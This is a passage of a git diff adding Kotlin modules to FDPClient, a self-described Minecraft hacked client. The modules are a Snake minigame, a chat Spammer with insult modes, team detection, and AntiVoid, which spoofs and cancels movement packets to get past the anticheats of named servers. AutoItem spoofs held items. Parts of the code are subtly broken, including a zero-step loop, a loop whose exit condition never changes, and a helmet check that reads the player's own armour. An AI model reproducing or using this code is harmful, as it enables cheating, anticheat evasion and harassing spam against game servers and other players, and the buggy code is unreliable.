(index in snake.indices) { + val snakeStartX = snake[index].x * blockSize + startX + val snakeStartY = snake[index].y * blockSize + startY + + drawRect( + snakeStartX, + snakeStartY, + snakeStartX + blockSize, + snakeStartY + blockSize, + Color(255, 253, 255).rgb + ) + } + + if (snake[0].x * blockSize + startX >= startX + fieldWidth || snake[0].x * blockSize + startX < startX || snake[0].y * blockSize + startY < startY || snake[0].y * blockSize + startY >= startY + fieldHeight) { + setupGame() + } + + font35.drawStringWithShadow( + "Score: §a$score", + startX.toFloat(), + (startY - 14.0).toFloat(), + Color(220, 220, 220).rgb + ) + } + + private fun setupGame() { + snake = mutableListOf(Position(0, 0)) + moveFood() + lastKey = 208 + score = 0 + } + + private fun moveFood() { + val foodX = nextInt(0, fieldWidth / blockSize) + val foodY = nextInt(0, fieldHeight / blockSize) + food = Position(foodX, foodY) + } + + private fun drawRect(paramXStart: Double, paramYStart: Double, paramXEnd: Double, paramYEnd: Double, color: Int) { + val alpha = (color shr 24 and 0xFF) / 255.0F + val red = (color shr 16 and 0xFF) / 255.0F + val green = (color shr 8 and 0xFF) / 255.0F + val blue = (color and 0xFF) / 255.0F + + glEnable(GL_BLEND) + glDisable(GL_TEXTURE_2D) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glEnable(GL_LINE_SMOOTH) + + glPushMatrix() + glColor4f(red, green, blue, alpha) + glBegin(GL_TRIANGLE_FAN) + glVertex2d(paramXEnd, paramYStart) + glVertex2d(paramXStart, paramYStart) + glVertex2d(paramXStart, paramYEnd) + glVertex2d(paramXEnd, paramYEnd) + + glEnd() + glPopMatrix() + + glEnable(GL_TEXTURE_2D) + glDisable(GL_BLEND) + glDisable(GL_LINE_SMOOTH) + + glColor4f(1.0F, 1.0F, 1.0F, 1.0F) + } + + private fun drawBorder(paramXStart: Double, paramYStart: Double, paramXEnd: Double, paramYEnd: Double, color: Int) { + val alpha = (color shr 24 and 0xFF) / 255.0f + val red = (color shr 16 and 0xFF) / 255.0f + val green = (color shr 8 and 0xFF) / 255.0f + val blue = (color and 0xFF) / 255.0f + + enableBlend() + disableTexture2D() + blendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glEnable(GL_LINE_SMOOTH) + + pushMatrix() + glColor4f(red, green, blue, alpha) + glLineWidth(1f) + glBegin(GL_LINE_LOOP) + glVertex2d(paramXEnd, paramYStart) + glVertex2d(paramXStart, paramYStart) + glVertex2d(paramXStart, paramYEnd) + glVertex2d(paramXEnd, paramYEnd) + + glEnd() + popMatrix() + + enableTexture2D() + disableBlend() + glDisable(GL_LINE_SMOOTH) + + color(1.0f, 1.0f, 1.0f, 1.0f) + } + + data class Position(var x: Int, var y: Int) + + private const val blockSize = 10 + private const val fieldWidth = 200 + private const val fieldHeight = 150 +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/Spammer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/Spammer.kt new file mode 100644 index 0000000..7d1e21d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/Spammer.kt @@ -0,0 +1,94 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.utils.timer.TimeUtils +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.features.value.TextValue +import net.minecraft.client.gui.GuiChat + +@ModuleInfo(name = "Spammer", category = ModuleCategory.OTHER) +object Spammer : Module() { + + private val maxDelayValue: IntegerValue = object : IntegerValue("MaxDelay", 1000, 0, 5000) { + override fun onChanged(oldValue: Int, newValue: Int) { + val minDelayValueObject = minDelayValue.get() + if (minDelayValueObject > newValue) set(minDelayValueObject) + delay = TimeUtils.randomDelay(minDelayValue.get(), this.get()) + } + } + private val minDelayValue: IntegerValue = object : IntegerValue("MinDelay", 500, 0, 5000) { + override fun onChanged(oldValue: Int, newValue: Int) { + val maxDelayValueObject = maxDelayValue.get() + if (maxDelayValueObject < newValue) set(maxDelayValueObject) + delay = TimeUtils.randomDelay(this.get(), maxDelayValue.get()) + } + } + + private val modeValue = ListValue("Mode", arrayOf("Single", "Insult", "OrderInsult"), "Single") + private val endingCharsValue = IntegerValue("EndingRandomChars",5,0,30) + private val messageValue = TextValue("Message", "Buy %r Minecraft %r Legit %r and %r stop %r using %r cracked %r servers %r%r") + .displayable { !modeValue.contains("insult") } + private val insultMessageValue = TextValue("InsultMessage", "[%s] %w [%s]") + .displayable { modeValue.contains("insult") } + + private val msTimer = MSTimer() + private var delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()) + private var lastIndex = -1 + + override fun onEnable() { + lastIndex = -1 + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.currentScreen != null && mc.currentScreen is GuiChat) { + return + } + if (modeValue.equals("Single") && messageValue.get().startsWith(".")) { + FDPClient.commandManager.executeCommands(messageValue.get()) + return + } + + if (msTimer.hasTimePassed(delay)) { + mc.thePlayer.sendChatMessage(when (modeValue.get().lowercase()) { + "insult" -> { + replaceAbuse(Insult.getRandomOne()) + } + "orderinsult" -> { + lastIndex++ + if (lastIndex >= (Insult.insultWords.size - 1)) { + lastIndex = 0 + } + replaceAbuse(Insult.insultWords[lastIndex]) + } + else -> replace(messageValue.get()) + }) + msTimer.reset() + delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()) + } + } + + private fun replaceAbuse(str: String): String { + return replace(insultMessageValue.get().replace("%w", str)) + } + + private fun replace(str: String): String { + return str.replace("%r", RandomUtils.nextInt(0, 99).toString()) + .replace("%s", RandomUtils.randomString(3)) + .replace("%c", RandomUtils.randomString(1)) + .replace("%name%", if (FDPClient.combatManager.target != null) { FDPClient.combatManager.target!!.name } else { "You" }) + (RandomUtils.randomString(endingCharsValue.get().toInt()).toString()) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/Teams.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/Teams.kt new file mode 100644 index 0000000..590ac15 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/Teams.kt @@ -0,0 +1,65 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.item.ItemArmor + +@ModuleInfo(name = "Teams", category = ModuleCategory.OTHER) +class Teams : Module() { + + private val scoreboardValue = BoolValue("ScoreboardTeam", true) + private val colorValue = BoolValue("Color", true) + private val gommeSWValue = BoolValue("GommeSW", false) + private val armorValue = BoolValue("ArmorColor", false) + + /** + * Check if [entity] is in your own team using scoreboard, name color or team prefix + */ + fun isInYourTeam(entity: EntityLivingBase): Boolean { + mc.thePlayer ?: return false + + if (scoreboardValue.get() && mc.thePlayer.team != null && entity.team != null && + mc.thePlayer.team.isSameTeam(entity.team)) { + return true + } + if (gommeSWValue.get() && mc.thePlayer.displayName != null && entity.displayName != null) { + val targetName = entity.displayName.formattedText.replace("§r", "") + val clientName = mc.thePlayer.displayName.formattedText.replace("§r", "") + if (targetName.startsWith("T") && clientName.startsWith("T")) { + if (targetName[1].isDigit() && clientName[1].isDigit()) { + return targetName[1] == clientName[1] + } + } + } + if (armorValue.get()) { + val entityPlayer = entity as EntityPlayer + if (mc.thePlayer.inventory.armorInventory[3] != null && entityPlayer.inventory.armorInventory[3] != null) { + val myHead = mc.thePlayer.inventory.armorInventory[3] + val myItemArmor = myHead.item as ItemArmor + + val entityHead = entityPlayer.inventory.armorInventory[3] + var entityItemArmor = myHead.item as ItemArmor + + if (myItemArmor.getColor(myHead) == entityItemArmor.getColor(entityHead)) { + return true + } + } + } + if (colorValue.get() && mc.thePlayer.displayName != null && entity.displayName != null) { + val targetName = entity.displayName.formattedText.replace("§r", "") + val clientName = mc.thePlayer.displayName.formattedText.replace("§r", "") + return targetName.startsWith("§${clientName[1]}") + } + + return false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AntiSuffocate.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AntiSuffocate.kt new file mode 100644 index 0000000..3e79a8f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AntiSuffocate.kt @@ -0,0 +1,30 @@ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.PacketUtils + + +@ModuleInfo(name = "AntiSuffocate", category = ModuleCategory.PLAYER) +object AntiSuffocate : Module(){ + + private val swing = BoolValue("Swing", true) + + fun onPreMotion(){ + + if (mc.thePlayer.isEntityInsideOpaqueBlock()){ + PacketUtils.sendPacketNoEvent(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, BlockPos(mc.thePlayer).down(), EnumFacing.UP)) + + if (swing.get()){ + mc.thePlayer.swingItem(); + } + } + + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AntiVoid.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AntiVoid.kt new file mode 100644 index 0000000..3d515f5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AntiVoid.kt @@ -0,0 +1,558 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.world.scaffold.Scaffold +import net.ccbluex.liquidbounce.features.module.modules.world.Timer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.InventoryUtils +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.misc.FallingPlayer +import net.minecraft.block.Block +import net.minecraft.block.BlockAir +import net.minecraft.entity.Entity +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.init.Blocks +import net.minecraft.init.Items +import net.minecraft.item.ItemEnderPearl +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.C05PacketPlayerLook +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.util.BlockPos +import net.minecraft.util.Vec3 +import net.minecraft.world.WorldSettings +import java.lang.Math.toRadians +import kotlin.math.abs +import kotlin.math.cos +import kotlin.math.sin + +@ModuleInfo(name = "AntiVoid", category = ModuleCategory.PLAYER) +object AntiVoid : Module() { + + private val modeValue = ListValue( + "Mode", + arrayOf( + "Blink", + "TPBack", + "MotionFlag", + "PacketFlag", + "GroundSpoof", + "OldHypixel", + "Jartex", + "OldCubecraft", + "Packet", + "Vulcan", + "SearchPearl" + ), + "Blink" + ) + private val maxFallDistValue = FloatValue("MaxFallDistance", 10F, 5F, 20F) + private val freezeValue = ListValue("FreeZeMode", arrayOf("Cancel","LowTimer"),"Cancel").displayable{ modeValue.equals("SearchPearl")} + private val resetMotionValue = BoolValue("ResetMotion", false).displayable { modeValue.equals("Blink") } + private val startFallDistValue = + FloatValue("BlinkStartFallDistance", 2F, 0F, 5F).displayable { modeValue.equals("Blink") } + private val autoScaffoldValue = BoolValue("BlinkAutoScaffold", true).displayable { modeValue.equals("Blink") } + private val motionflagValue = + FloatValue("MotionFlag-MotionY", 1.0F, 0.0F, 5.0F).displayable { modeValue.equals("MotionFlag") } + private val voidOnlyValue = BoolValue("OnlyVoid", true) + + private val packetCache = ArrayList<C03PacketPlayer>() + private var blink = false + private var canBlink = false + private var canCancel = false + private var canSpoof = false + private var tried = false + private var flagged = false + + private var posX = 0.0 + private var posY = 0.0 + private var posZ = 0.0 + private var motionX = 0.0 + private var motionY = 0.0 + private var motionZ = 0.0 + private var lastRecY = 0.0 + private var x = 0.0 + private var y = 0.0 + private var z = 0.0 + private var freeze = false + private var forceRotateDetected = false + private var ghostBlockDetected = false + private var lastYaw = 0F + private var lastPitch = 0F + private var lagbackDetected = false + private var fall = 0F + private var lastPositon = intArrayOf(0, 0, 0) + private var ticks = 0 + + override fun onEnable() { + fall = 0f + forceRotateDetected = false + ghostBlockDetected = false + lagbackDetected = false + freeze = false + canCancel = false + blink = false + canBlink = false + canSpoof = false + lastRecY = if (mc.thePlayer != null) { + mc.thePlayer.posY + } else { + 0.0 + } + tried = false + flagged = false + ticks = 0 + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + } + + @EventTarget + fun onWorld(event: WorldEvent) { + if (lastRecY == 0.0) { + lastRecY = mc.thePlayer.posY + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.onGround) { + tried = false + flagged = false + } + + when (modeValue.get().lowercase()) { + "groundspoof" -> { + if (!voidOnlyValue.get() || checkVoid()) { + canSpoof = mc.thePlayer.fallDistance > maxFallDistValue.get() + } + } + + "searchpearl" -> { + if (mc.currentScreen != null || mc.playerController.currentGameType == WorldSettings.GameType.SPECTATOR + || mc.playerController.currentGameType == WorldSettings.GameType.CREATIVE) return + val entity = getClosestEntity() + val distance = if (entity != null) mc.thePlayer.getDistanceToEntity(entity) else 0F + freeze = distance > 4 || entity == null + + val pearl = InventoryUtils.findItem(36, 45, Items.ender_pearl) + if (mc.thePlayer.fallDistance > maxFallDistValue.get() && (pearl - 36) > -1) { + if (!voidOnlyValue.get() || checkVoid()) { + mc.thePlayer.inventory.currentItem = pearl - 36 + } + } + } + + "vulcan" -> { + if (mc.thePlayer.onGround && BlockUtils.getBlock( + BlockPos( + mc.thePlayer.posX, + mc.thePlayer.posY - 1.0, + mc.thePlayer.posZ + ) + ) !is BlockAir + ) { + posX = mc.thePlayer.prevPosX + posY = mc.thePlayer.prevPosY + posZ = mc.thePlayer.prevPosZ + } + if (!voidOnlyValue.get() || checkVoid()) { + if (mc.thePlayer.fallDistance > maxFallDistValue.get() && !tried) { + mc.thePlayer.setPosition(mc.thePlayer.posX, posY, mc.thePlayer.posZ) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + false + ) + ) + mc.thePlayer.setPosition(posX, posY, posZ) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.thePlayer.fallDistance = 0F + MovementUtils.resetMotion(true) + tried = true + } + } + } + + "motionflag" -> { + if (!voidOnlyValue.get() || checkVoid()) { + if (mc.thePlayer.fallDistance > maxFallDistValue.get() && !tried) { + mc.thePlayer.motionY += motionflagValue.get() + mc.thePlayer.fallDistance = 0.0F + tried = true + } + } + } + + "packetflag" -> { + if (!voidOnlyValue.get() || checkVoid()) { + if (mc.thePlayer.fallDistance > maxFallDistValue.get() && !tried) { + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX + 1, + mc.thePlayer.posY + 1, + mc.thePlayer.posZ + 1, + false + ) + ) + tried = true + } + } + } + + "tpback" -> { + if (mc.thePlayer.onGround && BlockUtils.getBlock( + BlockPos( + mc.thePlayer.posX, + mc.thePlayer.posY - 1.0, + mc.thePlayer.posZ + ) + ) !is BlockAir + ) { + posX = mc.thePlayer.prevPosX + posY = mc.thePlayer.prevPosY + posZ = mc.thePlayer.prevPosZ + } + if (!voidOnlyValue.get() || checkVoid()) { + if (mc.thePlayer.fallDistance > maxFallDistValue.get() && !tried) { + mc.thePlayer.setPositionAndUpdate(posX, posY, posZ) + mc.thePlayer.fallDistance = 0F + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionZ = 0.0 + tried = true + } + } + } + + "jartex" -> { + canSpoof = false + if (!voidOnlyValue.get() || checkVoid()) { + if (mc.thePlayer.fallDistance > maxFallDistValue.get() && mc.thePlayer.posY < lastRecY + 0.01 && mc.thePlayer.motionY <= 0 && !mc.thePlayer.onGround && !flagged) { + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionZ *= 0.838 + mc.thePlayer.motionX *= 0.838 + canSpoof = true + } + } + lastRecY = mc.thePlayer.posY + } + + "oldcubecraft" -> { + canSpoof = false + if (!voidOnlyValue.get() || checkVoid()) { + if (mc.thePlayer.fallDistance > maxFallDistValue.get() && mc.thePlayer.posY < lastRecY + 0.01 && mc.thePlayer.motionY <= 0 && !mc.thePlayer.onGround && !flagged) { + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.motionX = 0.0 + mc.thePlayer.jumpMovementFactor = 0.00f + canSpoof = true + if (!tried) { + tried = true + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + (32000.0).toDouble(), + mc.thePlayer.posZ, + false + ) + ) + } + } + } + lastRecY = mc.thePlayer.posY + } + + "packet" -> { + if (checkVoid()) { + canCancel = true + } + + if (canCancel) { + if (mc.thePlayer.onGround) { + for (packet in packetCache) { + mc.netHandler.addToSendQueue(packet) + } + packetCache.clear() + } + canCancel = false + } + } + + "blink" -> { + if (!blink) { + val collide = FallingPlayer(mc.thePlayer).findCollision(60) + if (canBlink && (collide == null || (mc.thePlayer.posY - collide.y) > startFallDistValue.get())) { + posX = mc.thePlayer.posX + posY = mc.thePlayer.posY + posZ = mc.thePlayer.posZ + motionX = mc.thePlayer.motionX + motionY = mc.thePlayer.motionY + motionZ = mc.thePlayer.motionZ + + packetCache.clear() + blink = true + } + + if (mc.thePlayer.onGround) { + canBlink = true + } + } else { + if (mc.thePlayer.fallDistance > maxFallDistValue.get()) { + mc.thePlayer.setPositionAndUpdate(posX, posY, posZ) + if (resetMotionValue.get()) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.jumpMovementFactor = 0.00f + } else { + mc.thePlayer.motionX = motionX + mc.thePlayer.motionY = motionY + mc.thePlayer.motionZ = motionZ + mc.thePlayer.jumpMovementFactor = 0.00f + } + + if (autoScaffoldValue.get()) { + FDPClient.moduleManager[Scaffold::class.java]!!.state = true + } + + packetCache.clear() + blink = false + canBlink = false + } else if (mc.thePlayer.onGround) { + blink = false + + for (packet in packetCache) { + mc.netHandler.addToSendQueue(packet) + } + } + } + } + } + } + + private fun checkVoid(): Boolean { + return (FallingPlayer(mc.thePlayer).findCollision(60) == null) + } + + @EventTarget + fun onMove(event: MoveEvent) { + if (modeValue.equals("searchpearl")) { + if (mc.currentScreen != null || mc.playerController.currentGameType == WorldSettings.GameType.SPECTATOR + || mc.playerController.currentGameType == WorldSettings.GameType.CREATIVE + ) return + if (!voidOnlyValue.get() || checkVoid()) { + if (mc.thePlayer.fallDistance > maxFallDistValue.get()) { + if (mc.thePlayer.heldItem!!.item is ItemEnderPearl) { + if (freezeValue.equals("Cancel")) { + event.cancelEvent() + } else { + ticks = 0 + mc.timer.timerSpeed = 0.1f + } + } + } + } else { + if (!freezeValue.equals("Cancel")) { + ticks ++ + if (ticks == 1) { + mc.timer.timerSpeed = 1f + } + } + } + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + when (modeValue.get().lowercase()) { + "blink" -> { + if (blink && (packet is C03PacketPlayer)) { + packetCache.add(packet) + event.cancelEvent() + } + } + + "searchpearl" -> { + if (mc.currentScreen != null || mc.playerController.currentGameType == WorldSettings.GameType.SPECTATOR + || mc.playerController.currentGameType == WorldSettings.GameType.CREATIVE) return + if (!voidOnlyValue.get() || checkVoid()) { + if (mc.thePlayer.fallDistance > maxFallDistValue.get()) { + if (freezeValue.equals("Cancel")) { + if (mc.thePlayer.heldItem!!.item is ItemEnderPearl) { + if (packet is C03PacketPlayer && packet !is C05PacketPlayerLook) { + event.cancelEvent() + } + if (event.packet is S08PacketPlayerPosLook) { + x = event.packet.x + y = event.packet.y + z = event.packet.z + motionX = 0.0 + motionY = 0.0 + motionZ = 0.0 + } + } + } + } + } + } + + "packet" -> { + if (canCancel && (packet is C03PacketPlayer)) { + packetCache.add(packet) + event.cancelEvent() + } + + if (packet is S08PacketPlayerPosLook) { + packetCache.clear() + canCancel = false + } + } + + "groundspoof" -> { + if (canSpoof && (packet is C03PacketPlayer)) { + packet.onGround = true + } + } + + "jartex" -> { + if (canSpoof && (packet is C03PacketPlayer)) { + packet.onGround = true + } + if (canSpoof && (packet is S08PacketPlayerPosLook)) { + flagged = true + } + } + + "oldcubecraft" -> { + if (canSpoof && (packet is C03PacketPlayer)) { + if (packet.y < 1145.141919810) event.cancelEvent() + } + if (canSpoof && (packet is S08PacketPlayerPosLook)) { + flagged = true + } + } + + "oldhypixel" -> { + if (packet is S08PacketPlayerPosLook && mc.thePlayer.fallDistance > 3.125) mc.thePlayer.fallDistance = + 3.125f + + if (packet is C03PacketPlayer) { + if (voidOnlyValue.get() && mc.thePlayer.fallDistance >= maxFallDistValue.get() && mc.thePlayer.motionY <= 0 && checkVoid()) { + packet.y += 11.0 + } + if (!voidOnlyValue.get() && mc.thePlayer.fallDistance >= maxFallDistValue.get()) packet.y += 11.0 + } + } + } + } + + private fun getClosestEntity(): Entity? { + val filteredEntities = mutableListOf<Entity>() + for (entity in mc.theWorld.loadedEntityList) { + if (entity is EntityPlayer && entity !== mc.thePlayer) { + filteredEntities.add(entity) + } + } + filteredEntities.sortWith( + compareBy( + { mc.thePlayer.getDistanceToEntity(it) }, + { mc.thePlayer.getDistanceToEntity(it) }) + ) + return filteredEntities.lastOrNull() + } + + private fun calculateAngleDelta(newAngle: Float, oldAngle: Float): Float { + var delta = newAngle - oldAngle + if (delta > 180) delta -= 360 + if (delta < -180) delta += 360 + return abs(delta) + } + private fun detectGroundCollision(): Boolean { + val blockPos = BlockPos(x, y, z) + val blockState = mc.theWorld.getBlockState(blockPos) + val block = blockState.block + return isSolidBlock(block) + } + private fun isSolidBlock(block: Block): Boolean { + val nonSolidBlocks = listOf( + Blocks.air, + Blocks.water, + Blocks.flowing_water, + Blocks.lava, + Blocks.flowing_lava + //... + ) + return block !in nonSolidBlocks + } + private fun calculateEnderPearlLandingSpot(yaw: Float, pitch: Float): Vec3? { + val initialPosition = Vec3(mc.thePlayer.posX, mc.thePlayer.posY + mc.thePlayer.eyeHeight, mc.thePlayer.posZ) + val yawRad = toRadians(yaw.toDouble()) + val pitchRad = toRadians(pitch.toDouble()) + + val cosPitchRad = cos(pitchRad) + val sinYawRad = sin(yawRad) + val cosYawRad = cos(yawRad) + val sinPitchRad = sin(pitchRad) + + val motionX = -cosPitchRad * sinYawRad * 1 + val motionY = -sinPitchRad * 1 + val motionZ = cosPitchRad * cosYawRad * 1 + + var motion = Vec3(motionX, motionY, motionZ) + + while (initialPosition.yCoord > 0) { + motion = Vec3(motion.xCoord, motion.yCoord - 0.03 * 0.1, motion.zCoord) + + if (detectGroundCollision()) { + return initialPosition + } + } + return null + } + private fun foundYaw(): Double { + val position = Vec3(lastPositon[0].toDouble(), lastPositon[1].toDouble(), + lastPositon[2].toDouble() + ) + val rotYaw = RotationUtils.toRotation(position, false).yaw + return rotYaw.toDouble() + } + private fun foundPitch(): Double { + val found = false + var findPitch = 0.0 + for (searchPitch in -90..90 step 0.1.toInt()) { + if (calculateEnderPearlLandingSpot(foundYaw().toFloat(), searchPitch.toFloat()) != null && !found) { + findPitch = searchPitch.toDouble() + break + } + } + return findPitch + } + + override val tag: String + get() = modeValue.get() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AutoItem.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AutoItem.kt new file mode 100644 index 0000000..7331547 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AutoItem.kt @@ -0,0 +1,138 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.FakeItemRender +import net.ccbluex.liquidbounce.utils.SpoofItemUtils +import net.ccbluex.liquidbounce.utils.item.ItemUtils +import net.minecraft.enchantment.Enchantment +import net.minecraft.event.ClickEvent +import net.minecraft.item.ItemSword +import net.minecraft.item.ItemTool +import net.minecraft.network.play.client.C02PacketUseEntity +import net.minecraft.util.BlockPos +import net.minecraft.util.MovingObjectPosition + + +@ModuleInfo(name = "AutoItem", category = ModuleCategory.PLAYER) +object AutoItem : Module() { + private val autoTool = BoolValue("AutoTool", true) + private val fakeItem = BoolValue("FakeItem", false).displayable { autoTool.get() } + private val switchBack = BoolValue("SwitchBack", false).displayable { autoTool.get() } + private val onlySneaking = BoolValue("OnlySneaking", false).displayable { autoTool.get() } + private val noCombat = BoolValue("NoCombat", true).displayable { autoTool.get() } + private val autoWeapon = BoolValue("AutoWeapon", false) + private val onlySwordValue = BoolValue("OnlySword", false).displayable { autoWeapon.get() } + private val silent = BoolValue("Spoof", false) + var formerSlot = 0 + private var attackEnemy = false + private var prevItemWeapon = 0 + private var spoofTick = 0 + + @EventTarget + fun onClick(event: ClickBlockEvent) { + if (autoTool.get()) switchSlot(event.clickedBlock ?: return) + } + + @EventTarget + fun onAttack(event: AttackEvent) { + attackEnemy = true + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (autoWeapon.get()) { + if (event.packet is C02PacketUseEntity && event.packet.action == C02PacketUseEntity.Action.ATTACK && + attackEnemy + ) { + attackEnemy = false + + // Find best weapon in hotbar (#Kotlin Style) + val (slot, _) = (0..8) + .map { Pair(it, mc.thePlayer.inventory.getStackInSlot(it)) } + .filter { it.second != null && (it.second.item is ItemSword || (it.second.item is ItemTool && !onlySwordValue.get())) } + .maxByOrNull { + (it.second.attributeModifiers["generic.attackDamage"].first()?.amount + ?: 0.0) + 1.25 * ItemUtils.getEnchantment(it.second, Enchantment.sharpness) + } ?: return + + if (slot == mc.thePlayer.inventory.currentItem) { // If in hand no need to swap + return + } + + // Switch to best weapon + if (!SpoofItemUtils.spoofing) { + prevItemWeapon = mc.thePlayer.inventory.currentItem + if (silent.get()) + SpoofItemUtils.startSpoof(prevItemWeapon) + } + spoofTick = 15 + mc.thePlayer.inventory.currentItem = slot + mc.playerController.updateController() + + + // Resend attack packet + mc.netHandler.addToSendQueue(event.packet) + event.cancelEvent() + } + } + } + fun switchSlot(blockPos: BlockPos) { + var bestSpeed = 1F + var bestSlot = -1 + + val blockState = mc.theWorld.getBlockState(blockPos) + + if (onlySneaking.get() && !mc.thePlayer.isSneaking) return + + for (i in 0..8) { + val item = mc.thePlayer.inventory.getStackInSlot(i) ?: continue + val speed = item.getStrVsBlock(blockState.block) + + if (speed > bestSpeed) { + bestSpeed = speed + bestSlot = i + } + } + + if (bestSlot != -1 && mc.thePlayer.inventory.currentItem != bestSlot) { + if (fakeItem.get() && FakeItemRender.fakeItem == -1) { + FakeItemRender.fakeItem = mc.thePlayer.inventory.currentItem + } + if (formerSlot == -1) { + formerSlot = mc.thePlayer.inventory.currentItem + } + mc.thePlayer.inventory.currentItem = bestSlot + } + + } + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (autoTool.get()) { + if (!mc.gameSettings.keyBindAttack.isKeyDown) { + if (switchBack.get() && formerSlot != -1) { + mc.thePlayer.inventory.currentItem = formerSlot + formerSlot = -1 + } + FakeItemRender.fakeItem = -1 + } + } + if (autoWeapon.get()) { + if (spoofTick > 0) { + if (spoofTick == 1) { + mc.thePlayer.inventory.currentItem + SpoofItemUtils.stopSpoof() + } + spoofTick-- + } + } + } +} \ No newline at end of file diff --git 